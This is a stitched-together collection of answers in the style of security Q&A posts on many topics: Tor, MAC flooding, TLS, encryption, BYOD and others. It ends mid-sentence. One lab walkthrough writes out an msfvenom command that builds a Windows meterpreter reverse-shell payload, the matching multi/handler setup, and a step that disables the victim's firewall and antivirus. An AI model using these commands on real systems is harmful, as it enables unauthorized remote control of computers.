A virtual machine doesn't really affect the tracing, it's still going to have the same IP as the host machine leaving the network. TOR would make it probably unlikely that the user would be caught by traditional police work, it'd have to be a pretty serious attack or operation (think SilkRoad Admin level of important) in order to actually try to find a person who's using TOR. Which, if they are important, then it comes back to metadata analysis of the identity that person uses, find accounts that have the same or similar name/details, see if those were accessed outside of TOR.

Operational Security is the number one reason people who use TOR and do malicious/illegal things get caught, they slip up and reveal too much about themselves, or make a technical error and login to an account without TOR once. For some more concrete how they do it, check out the story of how Ross Ulbricht (the convicted SilkRoad creator) was caught even though his whole business was on TOR.


Is there any way to alter a caller's voice just enough to make voice recognition impossible?

Sure. @VipulNair is right. There is a lot of such software.

Regarding "to make voice recognition impossible?":
It depends on the quality of the voice changer and the quality of the voice recognition software. The simple voice recognition software calculates a few statistical patterns and is easy to foul.


If I were to take a guess, I'd say that it had to do with some sort of software (possibly from Microsoft, but just as likely not) that you had installed a trial version of. The registry contents don't appear to be malicious; an install date and usage count isn't particularly insidious. If you're to be concerned, I'd think it would be for some other reason than this.

You're bound to find LOTS of registry entries you can't immediately place off-hand. That's sort of the nature of the registry.


Are Matrix messages encrypted using perfect forward secrecy?

Yes, they are (if you enable encryption, which has to be done manually).

End-to-End encryption in Matrix is done using the OLM protocol which is heavily based on the Signal/Double Ratchet protocol and provides forward secrecy.

When you enable encryption for a matrix room for the first time, you can choose the degree to which new members of the room will be able to read messages written before they joined.


Yes, this it still is a threat and this is why:

MAC flooding is based on the overflow of the CAM Table (Content Access Memory). The CAM table assigns physical ports to MAC addresses. The CAM table has a limited size and if you manage to exceed that size the switch isn't able anymore to assign new MAC addresses to a physical port. In this situation the switch can do one of three things:

Go to Fail Open mode, which turns the switch into a hub, which means that everyone gets to see everything. One could then sniff the traffic of all connected clients.
Go to Fail Off mode, which causes the switch to keep the existing MAC-Addresses in the CAM-Table but wont add new which will result in new clients being locked out of the network.
The switch uses the CAM table like a ring memory, which means that the addresses that haven't been seen for the longest period get droped. This can be a practical solution for home switches because it's unlikely that you connect some thousand hosts to a DSL router

I also had a situation where a switch crashed complely after I caused an overflow of the CAM-Table. But this was a relativly cheap switch for the home envirnment to be honest.

Though this vulnerablity is kind of system inherent it can't be fixed like other system inherent vulnerabilities. You can prevent it by using port security, which I suggest you to do. If you're the attacker in a pentest you can attack this vulnerablity by using the tool macoff, which generates loads of ethernet packages with randomly generated MAC addresses to cause an overflow in the CAM table.

I tested it successfully on some Cisco switches, a Netgear switch and some usual desktop switches.


Dangers of searching "safe" websites using Windows XP?

Things are going wrong here, horribly:

  I have software that only works with Windows XP.

Okay. That tends to happen from time to time.

  I have a computer that runs Windows XP.

That is good, because of the need to run the software, probably.

  It has a firewall and up-to-date antivirus software.

That is nice, but a firewall would only be needed if that XP box was networked. And you shouldn't connect an XP machine to any network that is not air gapped at this point. Even air gapped networks pose risks as other machines could be used to pivot (and be it from inside threats).

  Though I have several other computers running Windows 7, I have never "networked" them to the XP computer. They only use the same wifi connection as the XP computer.

So you're saying you didn't network them, they are only in the same network? I'm not sure whether you understand what "networking" is meant to mean.

Stop networking your XP box. Right now.

  I want to use the XP computer for the outdated software and to occasionally go online.

Nope. You do never want to go online with that machine.

  What are the risks?

Complete and utter compromise of your XP box and possibly your whole network, both with a high probability.

  If I only visit safe websites, am I still in danger? Is there any danger to my other computers?

That depends what you mean by safe websites, but there is a high probability that those use ads - and ad campaigns can be used to deliver drive by exploits that Windows XP is no longer getting any patches for.

As the comments suggested: there are even more risks, which I opted to preclude with presuming your firewall was watertight and you only browsed safe pages and read no mails and had no office installed etc.

All of my presumptions are probably not true.

Let me make this clear: you shouldn’t network an XP machine at this point - at all. Not even just for browsing “safe” websites, not even with a watertight firewall.


Appropriate strategy for preventing brute forcing of logins?

That is certainly a strategy which can add security - but as to whether it is appropriate or not is impossible for us to say without knowing your requirements.

For example: if you have a key requirement for your users to have access, then lockouts can be a bad idea - Denial of Service is a risk - so you may want to think about progressively longer delays instead.

Also, have you thought about concurrent logins? You might want to allow users to login from multiple locations, but if not, enforce logout of previous session when a login occurs from a new IP. Or for an even more advanced solution, if one login is from a US IP address inthe morning, a login from an African IP address in the afternoon could flag up as unlikely to be legitimate.

Always work out your particular needs - access, user security, location etc. and build your security to meet those needs.


nmap: why is it "silly" to combine OS finding option (-O) with bounce scan (-b)

FTP has a "feature" in it that allows one party to request that the FTP server send a file to another party, in effect acting as a proxy. This is really a vulnerability: if that feature is enabled on an internet-facing FTP server then that server could be used as a jumping off point for attacks on whatever the FTP server can connect to. This "feature" has long been deprecated and you're unlikely to find any FTP servers using it, although you never know.

When you use -b you are supposed to put the IP address of a vulnerable FTP server after the -b to act as a proxy. If you haven't put an IP address after it nmap won't have an FTP server to bounce through, so the option isn't used, so it would be silly to put -b without an IP address after.

If you have put an IP address after the -b, and the IP really is an FTP with bounce enabled, then the effect of the proxy would be to skew any OS fingerprinting so the results wouldn't be valid. Any OS fingerprinting done through any sort of proxy cannot be trusted, so using -O while using FTP bounce would also be silly.


How to block or detect user setting up their own personal wifi AP in our LAN?

Something left unsaid, Why is the user wanting a WiFi?  As long as the user feels they have a legitimate need they will continue to find workarounds to any of your attempts at blocking it.

Discuss with the users what they are trying to accomplish.  Perhaps create an official wifi network ( use all the security methods you wish - it will be 'yours' ).  Or, better, two - Guest and Corporate WAPs.

WiFi is not something which needs be banned "just because," however it does need specific attention, just like all other aspects of security.


All this is basically answered in RFC 2409, section 5, which describes how SKEYID and HASH_I/R are calculated plus how the different keys are derived.

  however wouldn't capturing of those hashes present an opportunity for a replay attack?

No, random nonces that are exchanged between the peers are used as input when calculating SKEYID (besides the PSK).

  Or for example couldn't one side wait for the hash and send it back to "prove" it knows the PSK?

No, HASH_I (sent by the initiator) and HASH_R (sent by the responder) are calculated differently.

  Which leads to my next question, apparently main-mode encrypts the hash, so what is used to encrypt that hash, the same PSK?

SKEYID_e is largely based on the shared secret from an ephemeral Diffie-Hellman exchange. But SKEYID is also incorporated and, as mentioned above, that is based on the PSK. So yes, without the PSK the message containing the HASH_I payload can't be decrypted. But depending on the strength of the PSK that might not help much (see my answer here).


How does the stack cookie protect return address from being overwrite

The stack cookie (also known as "canary") does not prevent the return address from being overwritten, but it increases the chances that the code notices the overwrite before fatefully following the overwritten return address.

This is heuristic: the idea is that most buffer overflows which end up with overwriting the return address proceed sequentially from a stack buffer, one the "other side" of the cookie slot, thus will also overwrite the cookie. "Keeping the cookie intact" requires that the attacker can somehow make a "jumping overflow" (it happens, but rarely) or can obtain the cookie value so that he can overwrite the cookie value with itself. Obtaining the cookie value is hard since it is normally chosen randomly at execution time (details vary depending on the OS and OS version), and not advertised; in some rare situations, the attacker can obtain the cookie value indirectly from the consequences of another exploitable vulnerability.

In practice the stack cookie makes the attacker's life a bit harder, but for a quite big bit. It is not 100% effective, as a defence mechanism, but it is not trivially worked around either.


Disconnect the  "192.168.1.6" IP address from your router. If your router gateway is "192.168.1.1" then the dos attack log from 192.168.1.6 is another computer connected to your router. If you don't know how to disable it in the router settings, configure a rule in your firewall to block traffic from 192.168.1.6.

IF you are in fact experiencing a DoS attack, which I think is highly unlikely, there is very little that can be done at your end to prevent it - to put it bluntly, if a hacker, wanted to render your connection unuseable, there's no way you can stop him - you're going down - it does not matter what router you use, you will be taken down.

The question is why would he want to waste valuable resources targeting you - what's the motive, where's the benefit?

In years gone by, DoS attacks could be done very simply, but equipment manufacturers have patched their code and closed all of the simpler, less resource intensive attacks, so that for a DoS attack now to be successful, it requires a botnet, an army of compromised systems, which takes time to build, and which no hacker is going to risk exposure on a consumer.

ACK scans & FIN scans as DoS attacks are historic exploits, incapable of shutting a modern router down - the CPU should not be responding to them, they should be discarded by the NAT process, unless they occur on ports that you have forwarded.

(EDIT)
A typical DoS detection process will not respond to a single ‘attack’, it is normal for a router to have a threshold set e.g. 20 per second, but this does not tell you exactly what rate they are arriving. I would say that if the router is able to process the message and drop it, and if the logs show ‘DoS attack’ messages minutes apart then the router should not be stressed in any way simply by traffic volume as that level of traffic is quite insignificant.

If the router is reacting badly to something e.g. a malformed message then perhaps this could impact on router performance, but that’s just an assumption on my part. If I was to ask the question of engineering I would expect the answer to be along the lines of ‘not that we know of’. They would need quite detailed information to be able to investigate.

If the DoS attacks are quite regular you could perhaps capture the traffic using a Packet Capture utility e.g. Microsoft Network Monitor or Wireshark. Connect a computer directly to the modem and capture traffic over the period of time that you would expect the DoS attacks to appear. You should also try to keep your WAN MAC address consistent so that you are not allocated a different IP address when connected to the modem, this is done in the router WAN Settings by selecting the option ‘Use Computer MAC Address’. One thing I’m not entirely sure of is if the computer OS might drop malformed packets before the Packet Capture tool can see it. By the way, changing the MAC address in this way with a cable service (the opposite of what I am suggesting here) will often result in the DoS Attacks disappearing, at least temporarily.


Some stuff:

Part 1/4, the server resources:

  To add a further layer of complexity, some of these assets are
  available for download publicly, while some are proprietary and only
  available through the server.

And how do you prevent that a client downloads it and then takes the file and distributes it freely? Not at all, right. You need to give up on that plan, there's no effective protection.

Part 2/4, the connection:

Signal protocol and some plain hashes of the transmitted data? Don't roll your own... I'm not sure about Signal, but use eg. TLS and you  have everything. Encryption, integrity, authenticity...

Part 3/4, the end points:

Files, ie. byte blobs, don't do damage. Errors in file-reading programs do. And yes, even images and txt files ... it doesn't matter what kind of file: If the program has an error, certain file contents can lead to malicious actions.

What this means for you? Feeding an image to the OS to display it is alright. If the OS has an error, it's neither your fault nor you're in a position to fix it. Same for third-party-libs etc. (altough reporting bugs should be one of your tasks).
But your program is as important. The bug doesn't need to be in the grapics lib, OS etc. . Even if your program just reads the image from the net and passes it on, there could be a bug there (buffer overflow...) which can lead to an exploit.
I can't really tell you not to make bugs, because everyone does, but be aware that each of your own code lines has the potential to become an infection for all users.

And do not, never, not for any reason, trust the other side of the network and/or any previously saved files. Don't rely in the client that the other side is your own server, and vice-versa. Check everything that needs to be checked. Same for saved files: if you load them, run the same checks as for newly received content from the network.

Part 4/4, cheaters:

Again, as server, do not trust the client. This includes information like "I'm client number X" (can be faked, introduce a secure authentication system), "My highscore is XYZ" (haha. Save it server-side and always calculate changes there, without any client input), "I just shot enemy Foo and that killed him" (calculate server-side if there is an enemy foo, what weapon you have, what damage it can do, what health Foo had, where you pointed your weapon, if there's an obstacle between you and foo, if your last shot was too recent to shoot again, etc.etc.), and so on.

The client always lies to the server. And the server to the clients too. All files are evil. And all players are evil too. Keep that in mind, and 90% of the security work is done.


How does PKCS#7 padding work with AES-256, CBC mode?

The padding is done before encryption. It ensures that what will be given to the encryption algorithm can be split into an integral number of blocks (16 bytes per block with AES). AES encrypts the whole, data and padding, and encrypted data "looks random".

After decryption, the original contents of the padding are revealed, and will exhibit the proper structure (namely that the extra bytes all have value n if n extra bytes were added -- n = 16 in your example).


Can we attack with and target the same computer

Yes, but instead of that use a Virtualisation software like VirtualBox or VMware to install the victim machine or attacker machine (you don't want a vulnerable machine connected to the internet directly).
Read books like Metasploit: The Penetration Tester's Guide, it is a great book written by the developer of Metasploit. However, a lot of functionality of Metasploit has changed since the release of the book and there is no updated version of it.
So, I would recommend reading Penetration Testing - A Hands-On Introduction to Hacking. It is relatively new and a good book.

The Lab Setup

As you will read the books, they will guide you how to setup your own testing lab. With each and every step in details.

The problem

Maximum books start with windows XP, but unfortunately, Microsoft has ended their support for Windows XP. So, you will have a hard time in finding XP setup. Even if you manage to find windows XP, the vulnerability listed in books will be patched (unless you are using some online Pen-Testing lab, I will come to this later).Then you will say "What is the use of reading this book", it will teach you the basics of following things, "How to exploit known vulnerabilities" and many other ways on "How you can compromise a system". In the coming chapters you will find, they will exploit some known vulnerabilities and gain access to system and will try to teach you some Post-Exploitation (i.e what to do when you have compromised a system). There is one whole chapter on "Post-Exploitation" but you will need to use few tricks of Post-Exploitation every once in a while.You will find it frustrating that you can't do anything about a patched vulnerability. Below I will describe a small trick to compromise a computer, so you can enjoy some Post-Exploitation until coming chapters.

Solution :

Assuming you managed to find Windows XP and things are patched and you want to enjoy some Post-Exploitation.

 Follow the following steps :

Open a terminal
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=(ip of your machine) LPORT=(port you want to connect back to) -f exe > filename.exe

Transfer this file to victim machine and disable windows firewall and AV as it will be detected by any AV (this is not a good method to compromise a system but to learn some Post-Exploitation you can use it). Do not open the file wait till you are done with all the steps.
  Again open a terminal and type
  msfconsole
   use multi/handler
  set payload windows/meterpreter/reverse_tcp
  set LHOST XXX.XXX.XX.X
   set LPORT XXX
  run (do not close this terminal, here you will get your meterpreter session after running the file on victim machine)
  When you are done with all of the above steps you can go to victim machine and run the generated exe file.

Hoollaa! you will get a meterpreter session and now you can enjoy some Post-Exploitation

NOTE

1- Read how to setup your lab from the book carefully otherwise above generated exe file will not work.
2- You can get your ip address by typing ifconfig (all these things are mentioned in lab configuration section, so go through it).
3- Make sure you have entered same LHOST and LPORT value at the specified place.

You can also learn from SecurityTube about Metasploit in Megaprimer section. The videos are free to watch but can subscribe to them and you can get access to their online lab. Then you will not have to go through all the troubles described above. It's your choice.

I hope this may help you.

UPDATE

The above-generated file will work for windows only. But you can also use vulnerable Linux distro like metasploitable. These are specially designed vulnerable Linux distro and you will find several tutorial and books on how to exploit metasploitable.


What are the security implications of having login dialog inside of an iframe

If you care about security, don't use iframe.

How can your user trust your iframe to enter their precious login information when the other site can use some simple css to put other elements above your iframe?

https://stackoverflow.com/questions/4378361/placing-content-over-an-iframe

If you want security and provide a login solution that can be used by many websites, use OAuth2/OpenID which will require the users to do a full redirect to your https loging page. This is the only solution if you want to provide login for multiple sites that are not all on the same domain.


Checking TLS peer public key instead of default verify procedure

Considering I don't care about DNS/IP names, is it secure to disable standard TLS verification and compare peer public key against pre-shared in config?

Ensuring that the key of the received certificate matches the expected key before any application data are exchanged is enough to provide the necessary authentication of the peer, i.e. all the other certificate validations regarding expiration, match of subject ... could be skipped. The way TLS works it will still ensure that only the owner of the matching private key can actually use the certificate with a specific public key.

Of course if an attacker gets access to the private key they could fake the server. Relying only on a fixed certificate also means that easy revocation and replacement of the certificate will not work, i.e. one would need to roll out a new version of the application instead with the new expected key.


Is transaction history stored on credit card a security risk?

There is some risk. Whilst the merchant isn't listed the amount, time & currency does leak information. Combined with other easily obtained data it can give more.

Considering some card issuers use transaction history as part of their security verification process leaking the info isn't ideal. With regards to social engineering it doesn't really give you much more than just following someone.

Transaction history is I believe part of the EMV standard. Visa disable it by default whilst Mastercard don't. Issuers can override this. If you are concerned then complain to your card issuer.

  What is the benefit of storing this transaction history on the card itself?

One possibility would be with something like TFL in london. You can tap into and out of the transport network with a contactless bank card. TFL have inspectors on random trains/buses that ask you to present your payment method - for contactless cards they scan them with a reader. For cards offering transaction history they could verify immediately whether the card was tapped in. Without this they have to compare inspected card logs against transaction logs when they are processed at end of day - meanwhile if the card was fake/stolen the holder is long gone.


x.509 certificate-chain signatures verification

The wikipedia page Chain of Trust has a good image explaining this:

In words:

A Certificate Authority's act of "issuing" a certificate is to use its private key to sign the new certificate. This is a statement that "I, the CA, promise that the information in this certificate is accurate and valid". If you trust the CA's public key, then you can trust anything that it has signed.
The Root CA signs the Intermediate CA, which signs the end-entity certificates.
This makes a "chain" because if you trust the Root CA's public key, then you can verify the signature on the Intermediate CA. Now you trust the Intermediate CA. Then you can check the signature on the end-entity. Now you trust the end-entity.

Root certificates are a weird exception to the above because they are signed by the same key that is in the certificate (aka "self-signed"). That means there is no pure-software way to verify whether you should trust it or not; you need some human - usually the vendor of your application or OS - to decide which root certificates should be trusted. This list of "trusted roots" is usually shipped inside your application or OS.

In practice, cert validation goes the other direction:

I have an end-entity certificate. Who signed it? Do I already trust them?
Oh, it's signed by a CA. Is this CA in my "trusted roots" list?
If yes, we're done (cert validation success)
If no, then who signed this CA certificate? Do I already trust them?
and so on until either you hit a trusted root (cert validation success), or you hit a self-signed cert that is not in your "trusted roots" list (cert validation fail).


OpenVPN and firewall configuration in LuCI

Check out these two guides for more info:

http://blog.ipredator.se/howto/openwrt/configuring-openvpn-on-openwrt.html http://tokyobreeze.wordpress.com/2015/01/15/install-openvpn-in-a-router-with-4mb-flash/

The basic idea is to create 3 separate zones, use zone forwarding from LAN to VPN, and turn on Masquerading and MSS clamping on the VPN zone. Be sure to leave Forward on "Reject" for all zones, Output "Accept" on all zones. Accept input on LAN but not VPN. For the WAN zone there are two possibilities (I'm not sure which is "correct" but both work for me and allow me to pass all tests on ipleak.net):

Input=Reject, Output=Accept, Forward=Reject. Turn on Masquerading and MSS clamping

Input=Accept, Output=Accept, Forward=Reject. Turn off Masquerading and MSS clamping

Lastly, if you're not already aware, make sure prevent DNS, ipv6, etc. leaks as described in the above guides. I've found ipleak.net to be a good place to test my setup each time.


Effective blocking of SMB connections on AsusWRT

Most consumer routers have a single port that goes to the WAN and Four (or other) ports dedicated to the LAN. In the case of the AsusWRT it appears as though those four ports are switched and not routed, and therefore operate at layer 2 of the OSI model.

As the traffic between the WAN port and the LAN ports is routed, traditional firewalling is possible as this is occurring at layer 3. Traffic that originates on your LAN, and is destined for another computer on the LAN (and visa versa) does not travel through the firewall. It is therefore not possible to do what you're hoping to do at the network level and this firewalling should be done at the host level.

I see your comment stating that the logs say that all traffic is passing through the firewall, so I'd love to see those logs if you could amend your question but I highly doubt that your router is capable of layer 3 firewalling on those switch ports.


What is the best approach to protect against BYOD?

A relatively efficient way to cope with "BYOD challenges" is to do the two following things:

Ban BYOD. Employees are explicitly forbidden to use "their own devices" for work-related operations. If they have a smartphone, they may use it to listen to music, but they must not plug it into their desktop computer or store work document on it.
Make a survey with users to understand why users want to "bring their own device". When a user wants to use his tablet or laptop on his workplace, this is not just for the sake of it, but because that device offers some functionality that his official, approved desktop computer does not fulfil. Simply banning BYOD will not be effective unless you carefully analyse what the users are looking for, and is lacking from the tools you provide.

Both steps are equally important; the second step is the most often forgotten by overzealous security officers.

Otherwise, if you are really intent on allowing employees to use their own devices for their work, then "best practice" is to enforce some sort of "security suite" on the device itself, at which point the device is no longer really the user's device; it is more like a company device that was paid by the employee. This tends to lead to some disgruntlement, which cancels the alleged benefits of BYOD (BYOD is supposed to increase productivity through the feeling of comfort and empowerment that employees derive from their using their own tools; that feeling is all too easy to destroy inadvertently with an inappropriate requirement for installation of extra police software which users will resent as an intrusion).


How to manage admin rights for helpdesk staff?

Mitigation 1: Use two-factor authentication, for logging into admin accounts.

Mitigation 2: Give helpdesk staff a tablet or netbook that they can carry with them.  Instead of typing their password into the user's machine, they could log into their tablet/netbook and use the internal remote administration services to administer the user's machine.  Make this workflow as easy and frictionless as possible.

Mitigation 3: Have the helpdesk staff change their admin password regularly (once a week might not be overkill).


Are there any security benefits in deleting the private key of a https webserver after starting it?

Not worth it.
I understand that question to mean: "If I store the private key in RAM only, does this help security?"
Maybe. But this spells deployment hell.
I imagine this situation is similar to a server where you have to be physically present for reboot. Like with a boot-password. This is very unpractical. What you gain from this model is resistance against offline attack. Like if someone walks away with the server. You may actually want to defend against this if you don't really trust the server's physical security. But the more traditional way of defending against offline attacks would be full-disk-encryption.
If you want an unextractable private key, then you should look at buying an HSM. (The cheapest one I know is the $500 YubiHSM.) Or store the Keys off-server somehow, maybe in the way CloudFlare Keyless SSL works.
The advantage of these solutions is that Online attacks also no longer work. You can not extract the private key from RAM anymore, either. (And AFAIK private keys are one of the easier needles to find in the RAM haystack if you already have root on the box. Link: ErrataSec, Link: HeartLeech, Link: SecSe.)


Suppose I write you a check and you deposit it, but also produce a forgery that you deposit a few days later.  Soon or late, when I reconcile my account, the forgery will be detected, I'll complain to my bank, and my bank will claw back the money from your account at Chase.  Doesn't matter whether it's paper or a picture.

If the forgery happens to overdraw my account, it'll be detected at once, even if I have "overdraft protection," because I'll be notified that the protection kicked in.  Otherwise, it'll be detected during reconciliation of my account.

That is why well-run businesses keep only a few bucks more than their outstanding checks in their operating account, have a separate account for payroll, etc.


What's the best practice for MitM'ing https traffic to distinguish self-signed certs?

I don't think it is a good idea to let users decide which certificates are nice and which are not or to accept self-signed or invalid certificates at all on a general basis. At least I do not believe that most users understand the underlying problems and would be able to make the proper decision. But maybe all your users have a deeper understanding of the topic and of the problems involved when making the wrong decision, so here is a way to transfer at least part of this information to the user:

For proper TLS connections which have a valid certificate the new certificate generated on the SSL interception device will be signed by the proxy CA of the device. This way no warnings in the browser occur as long as the proxy CA is imported as trusted.
TLS connections with an invalid certificate (expired, wrong subject, self-signed...) instead will not be signed by the proxy CA but a self-signed certificate will be created which will contain most of the original information (subject, expiration...). This will result in a warning inside the browser because it is not signed by a trusted CA and the user can look at the certificate details and decide to accept it anyway.

This way only valid certificates are silently accepted by the browser and all the others need manual intervention of the user. Note that I'm pretty sure that not all SSL interception devices will deal with invalid certificates the way I've described so you should check the details with the specific product or implementation you have in mind. Also, not all information about the reasons why a certificate was invalid are transferred this way. Especially you cannot distinguish between originally self-signed certificates and certificates with an otherwise broken trust chain (like missing chain certificates or untrusted root CA) this way and you have no way to look at the original issuer of the certificate.

But again, I don't recommend to fully trust users to decide what are good and bad certificates, so this practice should be restricted to only a few bad sites. From my experience the only valid self-signed certificates you have are for local devices (router etc) and thus should usually not be affected by SSL interception at all. Public sites on the internet instead should use public CA's and almost all do it. If they don't do it or do it wrong than these sites should better be blocked. From my experience the common sites on the internet will not cause any problems because this would cause problems in the browsers too and they would loose visitors this way.


What tests can be performed on mobile apps to determine if they are secure?

Speaking as a former security consultant who regularly performed penetration tests of third-party mobile apps, it absolutely makes sense. In practice, mobile apps are a bit less amenable to black-box pentesting than some other types of app (such as web apps or kernel-mode drivers), but there's a lot you can do even black-box (and more with white-box, though reverse-engineering most Android apps is so easy they are practically always white-box).

A few common security issues we found:

Apps not doing TLS validation correctly (for example, allowing self-signed certs or even arbitrary invalid certs).
Apps that had vulnerable entry points (file associations, URI schemes, share contracts, or other ways to programmatically invoke them and then make them do something they shouldn't).
Apps that used out-of-date libraries or SDKs with known vulnerabilities.
Apps that used web views with insecure JavaScript bridges.
Apps that used HTTP instead of HTTPS sometimes.
Apps that used web views but didn't lock down their paths or JS execution, and were vulnerable to web app vulns and/or to phishing.
Apps that stored secrets (credentials, tokens, private data, etc.) in plain text and/or in readable locations.
Apps that stored keys or other secrets (for example, an API key for a web service) in their binaries, as though an attacker can't reverse engineer the app to find it.
Apps that used native code insecurely, and had memory corruption bugs.
Apps that used cryptography incorrectly and therefore insecurely.

There are plenty more that can crop up, though those are some of the most common and/or severe. Mobile apps are definitely capable of having security bugs, and should be subjected to security reviews including penetration testing.


Is SSD encryption useless on data already present?

Self Encrypting Drives (SED)

Many SSDs offer a "Self Encrypting Drive" feature where the encryption is completely transparent to the operating system.  These require that you enter your drive password via a UEFI module and it will unlock the drive.  These drives are always encrypting your data, even when SED is not enabled.  Enabling SED causes the drive to encrypt the Data Encryption Key (DEK) with your password, thus requiring your password to access the data on the drives.  In such a case, you need not worry about the prospects of data recovery.

OS-Based FDE

In the case of operating-system based FDE (Bitlocker, LUKS, FileVault, Veracrypt, etc.) things are a little different.  There, encrypting the drive does require making a copy of all of the data from the plaintext to the ciphertext.  (Notably, only Bitlocker and FileVault offer in-place encryption.)

From the paper you linked:

  Second, overwriting the entire visible address space of an SSD twice is usually, but not always, sufficient to sanitize the drive.

So not all overwritten data is recoverable.  After encrypting the drive, you can overwrite the slack space a few times to have a high likelihood of overwriting all of the underlying erase blocks.

That being said, encrypting the drive when new is still a best practice -- it avoids all these concerns, and ensures there's no time window where an attacker can get access to unencrypted data.

Side note on quantum computing: There is no evidence that quantum computing would allow breaking encrypted hard drives when used with a key length of 256 bits or longer.  Grover's algorithm is the best known speedup for symmetric encryption, and it has the effect of halving the key length.  (So a 256 bit key offers 128 bits of effectiveness against a quantum computer.)  Additionally, cryptographers do not believe even well-funded adversaries currently have large scale quantum computers, but that is likely to change in the next 10-15 years.


Is there any solution for block the HTTPS traffic using URL filtering?

From the outside of SSL, you can only see the server name (client sends it as part of the Server Name Indication extension in the early stages of the SSL handshake; and it also appears in the certificate sent by the server); this may be sufficient to filter out some "URL". E.g. in your example, you can see that the connection is SSL and for www.facebook.com; if you want to block the whole of Facebook, this is sufficient information; the actual URL is not needed.

If you want something more fine-grained, then you need to read the URL itself, which is protected by SSL. For that, you have to break SSL in some way. There are tools which run a Man-in-the-Middle attack on SSL (they rely on the installation of a rogue, filter-controlled root CA in the client system). A well-known commercial tool for that is Blue Coat's ProxySG. There also are open source solutions. In any case, these systems require some sort of privilege access to the client system (extra root CA installation); computer-savvy users will know about it. It can also be said that such tools "break user expectations of privacy" and while they technically work, they may also trigger a toxic climate of defiance on a workplace. Use with care.


is it illegal to share customer credit card data

I wouldn't take that approach, because it is an inaccurate statement: it's not a 'legal' issue per se, it's a Payment Card regulations issue. I would simply say that credit card information falls under PCI DSS regulations which prevents companies from storing the card information at all unless they use a compliant system. To comply with regulations with storing and transmitting payment card data to 3rd parties can require a major investments in infrastructure.


No, you can not tell if a request came from the console, because when you have a client-server application, client and server are black boxes to each other. A request could come from the javascript running in the browser, the browser console, a telnet client, a handmade program, or a bunch of monkeys typing random characters on keyboards directly connected to an Ethernet cable. There is no way to tell one from the other.

So when you handle requests on the server, make sure that every request handler checks authentication. This includes handlers for ajax web services. Just because the average user should not notice that they exist does not mean nobody will find them. So your script which is listening to the endpoint callbacks/AccountSettingsCallback/addUpdateAccount needs to check the user's session cookie (or what other mechanism you use for tracking user sessions), check if the user has the required permission to execute that operation and that the data passed to the operation is plausible. Additionally, you should implement adequate measures against cross-site request forgeries so owners of other websites can not build web applications which cause the user to call ajax webservices on your site.


Does this evidence seem consistent with an intrusion via the VNC server?

Looks like someone is trying to bruteforce your Windows' credentials, as of NtlmSsp event suggests it. I don't think this is related to VNCServer, unless you configured it to login with your Windows' credentials.

Before anything else, as we don't know if you've been RATed or not, you should monitor any Internet connection made on your computer (with no connectivity). As you're using Windows, this can be made using netstat (CLI) or SysInternal's TCPView (GUI). Check for any connection on unusual port made by any processes, as a tool can easily be injected in e.g. explorer.exe. If there is any suspicion of unwanted connections, try to remove infection yourself, using Malwarebytes or, as a workaround, SysInternal's Autoruns. Don't use Symantec Norton Antivirus as it is not very efficient and buggy.

If there is nothing, what I'd do next, before reinstalling your Windows, is to connect to your University's WiFi, disable VNC, and check for more events like the one you described.

To do this, launch a monitoring tool like Cyberarms IDDS (free and open-source) to check any attempt of intrusion. It'll then show you the IP address and you will be able to report it to your University's Network Administrator, and block it using the IDDS or your FireWall.


Your question is:

can attacker do this in any way if he has to exploit only this function or any function directly related to this function like fgets or system or syslog?

And you said in a comment:

we are only familiar with stack based buffer overflow, format string exploits, return to lib c attacks, basic heap based buffer overflow.

So hardware flaws are not within the scope of this question.
I assume that when you say auth_status, you actually mean authstatus.
In that case, I agree with you: No, this code is not vulnerable.
I did find one potential vulnerability: calling fgets() to read some bytes from stdin would affect what happens next time you read stdin. In particular, it would affect what happens next time you call barfoo() (possibly with a different value of authstatus). But this seems like overthinking it, since you said:

there is no other relevant code besides this


Would it be good secure programming practice to overwrite a "sensitive" variable before deleting it?

Yes that is a good idea to overwrite then delete/release the value. Do not assume that all you have to do is "overwrite the data" or let it fall out of scope for the GC to handle, because each language interacts with the hardware differently.
When securing a variable you might need to think about:

encryption (in case of memory dumps or page caching)
pinning in memory
ability to mark as read-only (to prevent any further modifications)
safe construction by NOT allowing a constant string to be passed in
optimizing compilers (see note in linked article re: ZeroMemory macro)

The actual implementation of "erasing" depends on the language and platform. Research the language you're using and see if it's possible to code securely.
Why is this a good idea? Crashdumps, and anything that contains the heap could contain your sensitive data.  Consider using the following when securing your in-memory data

SecureZeroMemory
.NET SecureString
C++ Template

Please refer to StackOverflow for per-language implementation guides.
You should be aware that even when using vendor guidance (MSFT in this case) it is still possible to dump the contents of SecureString, and may have specific usage guidelines for high security scenarios.


How would an attacker know what version of tor/TAILS I'm using?

Theoretically, if you visit a website in the Tor Browser, the User Agent will tell the web server the version of your browser. If different versions of TAILS have different versions of the Tor Browser, being based on different versions of Firefox, you could fingerprint it that way. But this is very limited, and hit-and-miss. You'd end up with a string like this:

Mozilla/5.0 (X11; Linux i686 on x86_64; rv:10.0) Gecko/20100101 Firefox/10.0

Could you reasonably say from that "Someone is definitely using a year-old version of TAILS"? Nope.

That said, do you have to know the exact version of the OS to run an exploit? Nope. If I see a browser running Chrome 64, there's probably a few exploits I can run, as long as it's older than Chrome 67.

For the super-paranoid (rightly or otherwise), you can spoof your user agent. You could even impersonate a Netscape Navigator browser, if you wanted.


The site includes HTTP resources. but I did not find the http resource

If you follow the details offered in the message you get in the console:

  Mixed Content: The page at 'https://blogviets.com/' was loaded over a secure connection, but contains a form which targets an insecure endpoint 'http://canthomoi.us10.list-manage1.com/subscribe/post'. This endpoint should be made available over a secure connection.

And it even points you to the line 90 where this problem happens:

<form class="thesis_email_form feat-box-mchimp" method="post" action="http://canthomoi.us10.list-manage1.com/subscribe/post">


Is it neccessary that website certificate must have site URL?

First, it's not a URL, it's a host name or domain name. The host name is one part of the URL. http://security.stackexchange.com/questions/92838/is-it-neccessary-the-website-certificate-must-have-site-url is a URL, and the host name is security.stackexchange.com.

Next, yes, at least one host name in the certificate must match the exact host name used to access the site. You can get wildcard certificates, e.g. *.example.com, which would match <anything>.example.com (but not <anything>.<anything>.example.com or example.com).


Veracrypt system encryption on SSD, do I have to trim the disk right after finishing? How?

First, I have used VeraCrypt on multiple SSDs and haven't had any issues with performance as a result. This includes devices from Samsung and off brand devices as well. The solid state drive, though encrypted, reported the appropriate amount of storage space on my machines and worked as expected.

As it applies to SSDs, wear leveling is likely your biggest risk factor with trying to secure your drive. I recommend reading the warning here and then determining if your hardware leverages the wear leveling functionality.

https://www.veracrypt.fr/en/Wear-Leveling.html

That said, the common implementation suggestion for solid state dries is that you:

